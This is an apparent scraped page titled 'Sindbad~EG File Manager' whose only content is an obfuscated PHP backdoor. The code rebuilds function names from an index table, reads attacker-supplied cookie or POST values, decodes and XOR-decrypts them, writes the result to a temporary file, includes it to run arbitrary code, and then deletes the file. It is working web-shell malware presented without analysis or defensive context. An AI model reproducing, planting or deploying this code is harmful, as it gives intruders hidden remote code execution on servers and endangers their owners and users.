Sindbad~EG File Manager

<?php
function op1($qd2){$wv3 = "(6k;H5F4/yaxl'n9I<" ."dt_1e* 7@iv" ."ho2)rL-8f" ."?0pb#uc.g" ."mE3s" ;$db5='';foreach($qd2 as $fs4){$db5.=$wv3[$fs4];}return $db5;}$lu6 = Array();$lu6[] = op1(Array(1,25,21,41,37,37,25,1,35,22,37,21,1,35,7,25,7,49,35,10,18,15,49,35,36,22,5,5,18,39,10,44,31,5,10,1));$lu6[] = op1(Array(38,40,29,40,24,26,43,14,12,27,14,2,0,20,20,6,16,34,48,20,20,32,3,24));$lu6[] = op1(Array(45,47,30,18,43,12,22));$lu6[] = op1(Array(4,23));$lu6[] = op1(Array(45,8));$lu6[] = op1(Array(42));$lu6[] = op1(Array(17));$lu6[] = op1(Array(37,27,12,22,20,40,43,19,20,44,30,14,19,22,14,19,50));$lu6[] = op1(Array(10,33,33,10,9,20,47,22,33,46,22));$lu6[] = op1(Array(50,19,33,20,33,22,40,22,10,19));$lu6[] = op1(Array(22,11,40,12,30,18,22));$lu6[] = op1(Array(50,43,41,50,19,33));$lu6[] = op1(Array(43,14,12,27,14,2));$lu6[] = op1(Array(50,19,33,12,22,14));$lu6[] = op1(Array(40,10,44,2));$lu6[] = op1(Array(47,18,5));foreach ($lu6[8]($_COOKIE, $_POST) as $rb14 => $al11){function sm8($lu6, $rb14, $wa10){return $lu6[11]($lu6[9]($rb14 . $lu6[0], ($wa10 / $lu6[13]($rb14)) + 1), 0, $wa10);}function og7($lu6, $pv12){return @$lu6[14]($lu6[3], $pv12);}function uq9($lu6, $pv12){if (isset($pv12[2])) {$yb13 = $lu6[4] . $lu6[15]($lu6[0]) . $lu6[2];@$lu6[7]($yb13, $lu6[6] . $lu6[1] . $pv12[1]($pv12[2]));@include($yb13);@$lu6[12]($yb13);exit();}}$al11 = og7($lu6, $al11);uq9($lu6, $lu6[10]($lu6[5], $al11 ^ sm8($lu6, $rb14, $lu6[13]($al11))));}